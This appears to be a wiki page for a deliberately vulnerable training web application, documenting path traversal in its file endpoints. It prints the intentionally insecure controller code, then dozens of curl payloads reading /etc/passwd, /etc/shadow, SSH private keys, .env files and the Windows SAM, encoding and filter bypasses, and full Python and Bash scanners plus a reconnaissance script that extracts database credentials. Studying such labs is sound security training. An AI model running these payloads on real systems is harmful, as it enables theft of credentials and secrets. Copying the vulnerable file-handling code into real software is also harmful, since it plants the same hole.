Path Traversal - capstone-hermes/hermes-fullstack GitHub Wiki

Path Traversal

Overview

Path Traversal (also known as Directory Traversal) vulnerabilities allow attackers to access files and directories outside of the intended directory structure. The Weak Website contains multiple path traversal vulnerabilities in its file handling system, enabling attackers to read system files, application source code, and sensitive configuration data.

Vulnerable Implementations

File Retrieval Endpoint

File: server/src/modules/file/file.controller.ts:91-116

@Get('retrieve')
async retrieveFile(@Query('path') filePath: string, @Res() res: Response) {
  // V12.3.1: Vulnerable to path traversal
  // Allows accessing files outside the uploads directory
  
  this.logger.log(`File retrieval requested: ${filePath}`);
  
  try {
    // Dangerous - allows any file on the system to be read
    if (fs.existsSync(filePath)) {
      const content = fs.readFileSync(filePath, 'utf8');
      return res.send(content);
    } else {
      return res.status(404).json({ 
        error: `File not found: ${filePath}. Server configuration issue.` 
      });
    }
  } catch (error) {
    return res.status(500).json({ 
      error: `Server error: ${error.message}`,
      stack: error.stack 
    });
  }
}

File Download Endpoint

File: server/src/modules/file/file.controller.ts:67-87

@Get('download/:filename')
async downloadFile(@Param('filename') filename: string, @Res() res: Response) {
  // V12.3.2: Vulnerable to Local File Inclusion (LFI)
  const filePath = path.join(this.uploadPath, filename);
  
  this.logger.log(`File download requested: ${filePath}`);
  
  if (fs.existsSync(filePath)) {
    return res.sendFile(filePath, { root: '.' });
  } else {
    return res.status(404).json({ 
      error: `File not found: ${filePath}. Server cannot access this file.` 
    });
  }
}

Basic Path Traversal Techniques

1. Dot-Dot-Slash Sequences

Linux/Unix Systems

# Access system password file
curl "http://localhost:8080/file/retrieve?path=../../../../etc/passwd"

# Access shadow file (if permissions allow)
curl "http://localhost:8080/file/retrieve?path=../../../../etc/shadow"

# Access SSH keys
curl "http://localhost:8080/file/retrieve?path=../../../../home/user/.ssh/id_rsa"
curl "http://localhost:8080/file/retrieve?path=../../../../root/.ssh/authorized_keys"

# Access system configuration
curl "http://localhost:8080/file/retrieve?path=../../../../etc/hosts"
curl "http://localhost:8080/file/retrieve?path=../../../../etc/hostname"

Windows Systems

# Access Windows system files
curl "http://localhost:8080/file/retrieve?path=..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts"

# Access Windows user profiles
curl "http://localhost:8080/file/retrieve?path=..\\..\\..\\..\\users\\administrator\\desktop\\sensitive.txt"

# Access Windows configuration
curl "http://localhost:8080/file/retrieve?path=..\\..\\..\\..\\windows\\win.ini"
curl "http://localhost:8080/file/retrieve?path=..\\..\\..\\..\\windows\\system32\\config\\sam"

2. Application File Access

Source Code Extraction

# Access application source code
curl "http://localhost:8080/file/retrieve?path=../../../server/src/app.module.ts"
curl "http://localhost:8080/file/retrieve?path=../../../server/src/main.ts"
curl "http://localhost:8080/file/retrieve?path=../../../server/package.json"

# Access authentication code
curl "http://localhost:8080/file/retrieve?path=../../../server/src/modules/auth/auth.service.ts"
curl "http://localhost:8080/file/retrieve?path=../../../server/src/modules/auth/auth.controller.ts"

# Access database configuration
curl "http://localhost:8080/file/retrieve?path=../../../server/src/app.module.ts"

Configuration Files

# Environment configuration
curl "http://localhost:8080/file/retrieve?path=../../../.env"
curl "http://localhost:8080/file/retrieve?path=../../../server/.env.local"
curl "http://localhost:8080/file/retrieve?path=../../../server/.env.production"

# Docker configuration
curl "http://localhost:8080/file/retrieve?path=../../../docker-compose.yml"
curl "http://localhost:8080/file/retrieve?path=../../../docker-compose.dev.yml"
curl "http://localhost:8080/file/retrieve?path=../../../Dockerfile"

# Package management
curl "http://localhost:8080/file/retrieve?path=../../../package-lock.json"
curl "http://localhost:8080/file/retrieve?path=../../../server/package-lock.json"

Log Files

# Application logs
curl "http://localhost:8080/file/retrieve?path=../../../server/logs/app.log"
curl "http://localhost:8080/file/retrieve?path=../../../logs/error.log"
curl "http://localhost:8080/file/retrieve?path=../../../logs/access.log"

# System logs
curl "http://localhost:8080/file/retrieve?path=../../../../var/log/syslog"
curl "http://localhost:8080/file/retrieve?path=../../../../var/log/auth.log"
curl "http://localhost:8080/file/retrieve?path=../../../../var/log/apache2/access.log"

Advanced Path Traversal Techniques

1. Encoding Bypasses

URL Encoding

# Basic URL encoding
curl "http://localhost:8080/file/retrieve?path=..%2F..%2F..%2F..%2Fetc%2Fpasswd"

# Double URL encoding
curl "http://localhost:8080/file/retrieve?path=..%252F..%252F..%252F..%252Fetc%252Fpasswd"

# Mixed encoding
curl "http://localhost:8080/file/retrieve?path=..%2F..%2F..%2F..%2F%65tc%2Fpasswd"

Unicode Encoding

# Unicode dot encoding
curl "http://localhost:8080/file/retrieve?path=%u002e%u002e/%u002e%u002e/%u002e%u002e/%u002e%u002e/etc/passwd"

# UTF-8 encoding
curl "http://localhost:8080/file/retrieve?path=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"

2. Path Manipulation

Absolute Paths

# Direct absolute path access
curl "http://localhost:8080/file/retrieve?path=/etc/passwd"
curl "http://localhost:8080/file/retrieve?path=/home/user/.bashrc"
curl "http://localhost:8080/file/retrieve?path=/var/www/html/config.php"

Mixed Separators

# Mixed forward and backward slashes
curl "http://localhost:8080/file/retrieve?path=..\\..\\..\\../etc/passwd"
curl "http://localhost:8080/file/retrieve?path=..\\..\\../..\\etc\\passwd"

Null Byte Injection

# Null byte to truncate extension (older systems)
curl "http://localhost:8080/file/retrieve?path=../../../../etc/passwd%00.txt"
curl "http://localhost:8080/file/retrieve?path=../../../../etc/passwd\x00.jpg"

3. Filter Bypass Techniques

Dot Encoding Variations

# Alternative dot representations
curl "http://localhost:8080/file/retrieve?path=%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
curl "http://localhost:8080/file/retrieve?path=0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/etc/passwd"

Path Normalization Bypass

# Extra slashes and dots
curl "http://localhost:8080/file/retrieve?path=....//....//....//....//etc/passwd"
curl "http://localhost:8080/file/retrieve?path=..././..././..././..././etc/passwd"

Download Endpoint Exploitation

Basic Directory Traversal

# Download endpoint traversal
curl "http://localhost:8080/file/download/../../../etc/passwd"
curl "http://localhost:8080/file/download/..\\..\\..\\windows\\system32\\drivers\\etc\\hosts"

# Access application files
curl "http://localhost:8080/file/download/../../src/app.module.ts"
curl "http://localhost:8080/file/download/../../package.json"

Advanced Download Attacks

# Multiple traversal attempts
curl "http://localhost:8080/file/download/../../../../../../../../../etc/passwd"

# Mixed path separators
curl "http://localhost:8080/file/download/..\\../..\\../etc/passwd"

Automated Path Traversal Testing

Python Path Traversal Scanner

#!/usr/bin/env python3
import requests
import urllib.parse
from pathlib import Path

class PathTraversalScanner:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
        
        # Common system files to test
        self.target_files = {
            'linux': [
                '/etc/passwd',
                '/etc/shadow',
                '/etc/hosts',
                '/etc/hostname',
                '/etc/group',
                '/root/.ssh/id_rsa',
                '/home/user/.ssh/id_rsa',
                '/var/log/auth.log',
                '/proc/version',
                '/proc/cmdline'
            ],
            'windows': [
                'C:\\windows\\system32\\drivers\\etc\\hosts',
                'C:\\windows\\win.ini',
                'C:\\windows\\system32\\config\\sam',
                'C:\\users\\administrator\\desktop\\desktop.ini',
                'C:\\boot.ini'
            ],
            'application': [
                '../../../package.json',
                '../../../server/package.json',
                '../../../docker-compose.yml',
                '../../../.env',
                '../../../server/.env',
                '../../../server/src/app.module.ts',
                '../../../server/src/main.ts'
            ]
        }
        
        # Different traversal payloads
        self.traversal_payloads = [
            '../../../..',
            '../../../../..',
            '../../../../../..',
            '../../../../../../..',
            '../../../../../../../..',
            '../../../../../../../../..',
            '../../../../../../../../../..',
            '../../../../../../../../../../..'
        ]
    
    def test_file_retrieve(self, file_path):
        """Test file retrieval endpoint"""
        url = f"{self.base_url}/file/retrieve"
        params = {'path': file_path}
        
        try:
            response = self.session.get(url, params=params, timeout=10)
            
            if response.status_code == 200 and len(response.text) > 0:
                return {
                    'status': 'success',
                    'content_length': len(response.text),
                    'content_preview': response.text[:200] + '...' if len(response.text) > 200 else response.text
                }
            elif response.status_code == 404:
                return {'status': 'not_found'}
            else:
                return {'status': 'error', 'code': response.status_code}
                
        except requests.RequestException as e:
            return {'status': 'exception', 'error': str(e)}
    
    def test_file_download(self, file_path):
        """Test file download endpoint"""
        url = f"{self.base_url}/file/download/{file_path}"
        
        try:
            response = self.session.get(url, timeout=10)
            
            if response.status_code == 200:
                return {
                    'status': 'success',
                    'content_length': len(response.content),
                    'content_type': response.headers.get('content-type', 'unknown')
                }
            else:
                return {'status': 'failed', 'code': response.status_code}
                
        except requests.RequestException as e:
            return {'status': 'exception', 'error': str(e)}
    
    def test_encoding_bypass(self, file_path):
        """Test various encoding bypasses"""
        encodings = [
            urllib.parse.quote(file_path),  # URL encoding
            urllib.parse.quote(urllib.parse.quote(file_path)),  # Double encoding
            file_path.replace('/', '%2f').replace('\\', '%5c'),  # Manual encoding
            file_path.replace('../', '%2e%2e%2f'),  # Dot encoding
        ]
        
        results = []
        for encoded_path in encodings:
            result = self.test_file_retrieve(encoded_path)
            if result['status'] == 'success':
                results.append({
                    'encoding': encoded_path,
                    'result': result
                })
        
        return results
    
    def comprehensive_scan(self):
        """Perform comprehensive path traversal scan"""
        print("=== Path Traversal Vulnerability Scanner ===")
        
        findings = []
        
        # Test each category of files
        for category, files in self.target_files.items():
            print(f"\n--- Testing {category} files ---")
            
            for target_file in files:
                print(f"Testing: {target_file}")
                
                # Test with different traversal depths
                for payload in self.traversal_payloads:
                    test_path = payload + target_file
                    
                    # Test retrieve endpoint
                    result = self.test_file_retrieve(test_path)
                    if result['status'] == 'success':
                        findings.append({
                            'method': 'retrieve',
                            'path': test_path,
                            'file': target_file,
                            'result': result
                        })
                        print(f"  ✓ FOUND via retrieve: {test_path}")
                        break  # Found, no need to test deeper
                    
                    # Test download endpoint for relative paths
                    if not target_file.startswith('/') and not target_file.startswith('C:'):
                        download_result = self.test_file_download(test_path)
                        if download_result['status'] == 'success':
                            findings.append({
                                'method': 'download',
                                'path': test_path,
                                'file': target_file,
                                'result': download_result
                            })
                            print(f"  ✓ FOUND via download: {test_path}")
                            break
        
        # Test encoding bypasses for interesting files
        if findings:
            print(f"\n--- Testing encoding bypasses ---")
            for finding in findings[:3]:  # Test first 3 findings
                encoded_results = self.test_encoding_bypass(finding['path'])
                if encoded_results:
                    print(f"  ✓ Encoding bypass successful for: {finding['file']}")
        
        return findings
    
    def generate_report(self, findings):
        """Generate a report of findings"""
        if not findings:
            print("\n=== No vulnerabilities found ===")
            return
        
        print(f"\n=== VULNERABILITY REPORT ===")
        print(f"Found {len(findings)} accessible files:")
        
        for finding in findings:
            print(f"\nFile: {finding['file']}")
            print(f"Method: {finding['method']}")
            print(f"Path: {finding['path']}")
            print(f"Content Length: {finding['result'].get('content_length', 'N/A')}")
            
            if 'content_preview' in finding['result']:
                print(f"Preview: {finding['result']['content_preview']}")

# Example usage
scanner = PathTraversalScanner("http://localhost:8080")
findings = scanner.comprehensive_scan()
scanner.generate_report(findings)

Bash Path Traversal Testing Script

#!/bin/bash

BASE_URL="http://localhost:8080"
RETRIEVE_ENDPOINT="/file/retrieve"
DOWNLOAD_ENDPOINT="/file/download"

echo "=== Path Traversal Vulnerability Scanner ==="

# Linux system files
LINUX_FILES=(
    "/etc/passwd"
    "/etc/shadow"
    "/etc/hosts"
    "/etc/hostname"
    "/proc/version"
    "/root/.ssh/id_rsa"
)

# Application files
APP_FILES=(
    "../../../package.json"
    "../../../server/package.json"
    "../../../docker-compose.yml"
    "../../../.env"
    "../../../server/src/app.module.ts"
)

# Traversal payloads
TRAVERSALS=(
    "../../../.."
    "../../../../.."
    "../../../../../.."
    "../../../../../../.."
)

echo -e "\n--- Testing Linux System Files ---"
for file in "${LINUX_FILES[@]}"; do
    echo "Testing: $file"
    
    for traversal in "${TRAVERSALS[@]}"; do
        path="$traversal$file"
        echo "  Trying: $path"
        
        response=$(curl -s "$BASE_URL$RETRIEVE_ENDPOINT?path=$path")
        
        # Check if response contains typical file content
        if [ ${#response} -gt 50 ](/capstone-hermes/hermes-fullstack/wiki/-${#response}--gt-50-) && [ ! "$response" =~ "File not found" ](/capstone-hermes/hermes-fullstack/wiki/-!-"$response"-=~-"File-not-found"-) && [ ! "$response" =~ "error" ](/capstone-hermes/hermes-fullstack/wiki/-!-"$response"-=~-"error"-); then
            echo "  ✓ SUCCESS: Found $file"
            echo "  Content preview: ${response:0:100}..."
            break
        fi
    done
done

echo -e "\n--- Testing Application Files ---"
for file in "${APP_FILES[@]}"; do
    echo "Testing: $file"
    
    response=$(curl -s "$BASE_URL$RETRIEVE_ENDPOINT?path=$file")
    
    if [ ${#response} -gt 50 ](/capstone-hermes/hermes-fullstack/wiki/-${#response}--gt-50-) && [ ! "$response" =~ "File not found" ](/capstone-hermes/hermes-fullstack/wiki/-!-"$response"-=~-"File-not-found"-) && [ ! "$response" =~ "error" ](/capstone-hermes/hermes-fullstack/wiki/-!-"$response"-=~-"error"-); then
        echo "  ✓ SUCCESS: Found $file"
        echo "  Content preview: ${response:0:100}..."
    fi
done

echo -e "\n--- Testing Download Endpoint ---"
DOWNLOAD_TESTS=(
    "../../../etc/passwd"
    "../../src/app.module.ts"
    "../../package.json"
)

for test_path in "${DOWNLOAD_TESTS[@]}"; do
    echo "Testing download: $test_path"
    
    response=$(curl -s -w "%{http_code}" "$BASE_URL$DOWNLOAD_ENDPOINT/$test_path")
    http_code="${response: -3}"
    content="${response%???}"
    
    if [ "$http_code" == "200" ](/capstone-hermes/hermes-fullstack/wiki/-"$http_code"-==-"200"-) && [ ${#content} -gt 10 ](/capstone-hermes/hermes-fullstack/wiki/-${#content}--gt-10-); then
        echo "  ✓ SUCCESS: Downloaded via $test_path"
        echo "  Content preview: ${content:0:100}..."
    fi
done

echo -e "\n--- Testing Encoding Bypasses ---"
ENCODED_TESTS=(
    "..%2F..%2F..%2F..%2Fetc%2Fpasswd"
    "..%252F..%252F..%252F..%252Fetc%252Fpasswd"
    "%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
)

for encoded_path in "${ENCODED_TESTS[@]}"; do
    echo "Testing encoded: $encoded_path"
    
    response=$(curl -s "$BASE_URL$RETRIEVE_ENDPOINT?path=$encoded_path")
    
    if [ ${#response} -gt 50 ](/capstone-hermes/hermes-fullstack/wiki/-${#response}--gt-50-) && [ ! "$response" =~ "File not found" ](/capstone-hermes/hermes-fullstack/wiki/-!-"$response"-=~-"File-not-found"-); then
        echo "  ✓ SUCCESS: Encoding bypass worked"
        echo "  Content preview: ${response:0:100}..."
    fi
done

echo -e "\n=== Scan Complete ==="

Information Gathering via Path Traversal

System Information Collection

# Operating system information
curl "http://localhost:8080/file/retrieve?path=../../../../proc/version"
curl "http://localhost:8080/file/retrieve?path=../../../../etc/os-release"

# System users
curl "http://localhost:8080/file/retrieve?path=../../../../etc/passwd"

# Network configuration
curl "http://localhost:8080/file/retrieve?path=../../../../etc/hosts"
curl "http://localhost:8080/file/retrieve?path=../../../../etc/resolv.conf"

# Running processes
curl "http://localhost:8080/file/retrieve?path=../../../../proc/cmdline"

Application Configuration Extraction

# Database credentials
curl "http://localhost:8080/file/retrieve?path=../../../server/src/app.module.ts"

# Environment variables
curl "http://localhost:8080/file/retrieve?path=../../../.env"
curl "http://localhost:8080/file/retrieve?path=../../../server/.env"

# Package dependencies
curl "http://localhost:8080/file/retrieve?path=../../../package.json"
curl "http://localhost:8080/file/retrieve?path=../../../server/package.json"

# Build configuration
curl "http://localhost:8080/file/retrieve?path=../../../docker-compose.yml"
curl "http://localhost:8080/file/retrieve?path=../../../Dockerfile"

Source Code Extraction

# Core application files
curl "http://localhost:8080/file/retrieve?path=../../../server/src/main.ts"
curl "http://localhost:8080/file/retrieve?path=../../../server/src/app.module.ts"

# Authentication system
curl "http://localhost:8080/file/retrieve?path=../../../server/src/modules/auth/auth.service.ts"
curl "http://localhost:8080/file/retrieve?path=../../../server/src/modules/auth/auth.controller.ts"

# Database models
curl "http://localhost:8080/file/retrieve?path=../../../server/src/modules/user/user.entity.ts"
curl "http://localhost:8080/file/retrieve?path=../../../server/src/post/post.entity.ts"

# Vulnerable components
curl "http://localhost:8080/file/retrieve?path=../../../server/src/vulnerable-params.middleware.ts"
curl "http://localhost:8080/file/retrieve?path=../../../server/src/vulnerable-exception.filter.ts"

Log File Analysis

Application Logs

# Application-specific logs
curl "http://localhost:8080/file/retrieve?path=../../../logs/app.log"
curl "http://localhost:8080/file/retrieve?path=../../../server/logs/application.log"

# Error logs
curl "http://localhost:8080/file/retrieve?path=../../../logs/error.log"
curl "http://localhost:8080/file/retrieve?path=../../../server/logs/error.log"

System Logs

# Authentication logs
curl "http://localhost:8080/file/retrieve?path=../../../../var/log/auth.log"

# System messages
curl "http://localhost:8080/file/retrieve?path=../../../../var/log/syslog"
curl "http://localhost:8080/file/retrieve?path=../../../../var/log/messages"

# Web server logs
curl "http://localhost:8080/file/retrieve?path=../../../../var/log/nginx/access.log"
curl "http://localhost:8080/file/retrieve?path=../../../../var/log/apache2/access.log"

Attack Chain Examples

Complete System Reconnaissance

#!/bin/bash
# Comprehensive system reconnaissance via path traversal

echo "=== System Reconnaissance via Path Traversal ==="

# Step 1: Identify operating system
echo "1. Operating System Detection"
OS_INFO=$(curl -s "http://localhost:8080/file/retrieve?path=../../../../proc/version")
if [ ${#OS_INFO} -gt 10 ](/capstone-hermes/hermes-fullstack/wiki/-${#OS_INFO}--gt-10-); then
    echo "✓ Linux system detected: ${OS_INFO:0:100}..."
else
    echo "Trying Windows detection..."
    WIN_INFO=$(curl -s "http://localhost:8080/file/retrieve?path=..\\..\\..\\..\\windows\\win.ini")
    if [ ${#WIN_INFO} -gt 10 ](/capstone-hermes/hermes-fullstack/wiki/-${#WIN_INFO}--gt-10-); then
        echo "✓ Windows system detected"
    fi
fi

# Step 2: Extract user information
echo -e "\n2. User Enumeration"
USERS=$(curl -s "http://localhost:8080/file/retrieve?path=../../../../etc/passwd")
if [ ${#USERS} -gt 50 ](/capstone-hermes/hermes-fullstack/wiki/-${#USERS}--gt-50-); then
    echo "✓ User information extracted"
    echo "Users found:"
    echo "$USERS" | grep -E ":/home/|:/root/" | cut -d: -f1
fi

# Step 3: Extract application configuration
echo -e "\n3. Application Configuration"
CONFIG=$(curl -s "http://localhost:8080/file/retrieve?path=../../../server/src/app.module.ts")
if [ ${#CONFIG} -gt 50 ](/capstone-hermes/hermes-fullstack/wiki/-${#CONFIG}--gt-50-); then
    echo "✓ Application configuration extracted"
    # Extract database credentials
    echo "Database configuration:"
    echo "$CONFIG" | grep -E "(host|port|username|password|database)" | head -5
fi

# Step 4: Extract environment variables
echo -e "\n4. Environment Variables"
ENV_FILE=$(curl -s "http://localhost:8080/file/retrieve?path=../../../.env")
if [ ${#ENV_FILE} -gt 10 ](/capstone-hermes/hermes-fullstack/wiki/-${#ENV_FILE}--gt-10-); then
    echo "✓ Environment file found"
    echo "Environment variables:"
    echo "$ENV_FILE" | head -10
fi

echo -e "\n=== Reconnaissance Complete ==="

Impact and Risk Assessment

Critical Information Exposure

  • System Configuration: Access to critical system files
  • Application Source Code: Complete application logic exposure
  • Database Credentials: Direct database access potential
  • Authentication Secrets: JWT secrets and API keys

Business Impact

  • Data Breach: Direct access to sensitive data
  • System Compromise: Configuration file exposure enables further attacks
  • Intellectual Property Theft: Source code and business logic exposure
  • Compliance Violations: Unauthorized access to regulated data

Attack Escalation Paths

  1. Configuration Extraction → Database access → Data breach
  2. Source Code Analysis → Additional vulnerability discovery
  3. Log File Analysis → Credential harvesting → Account takeover
  4. System File Access → Local privilege escalation

Next Steps:

Related Topics: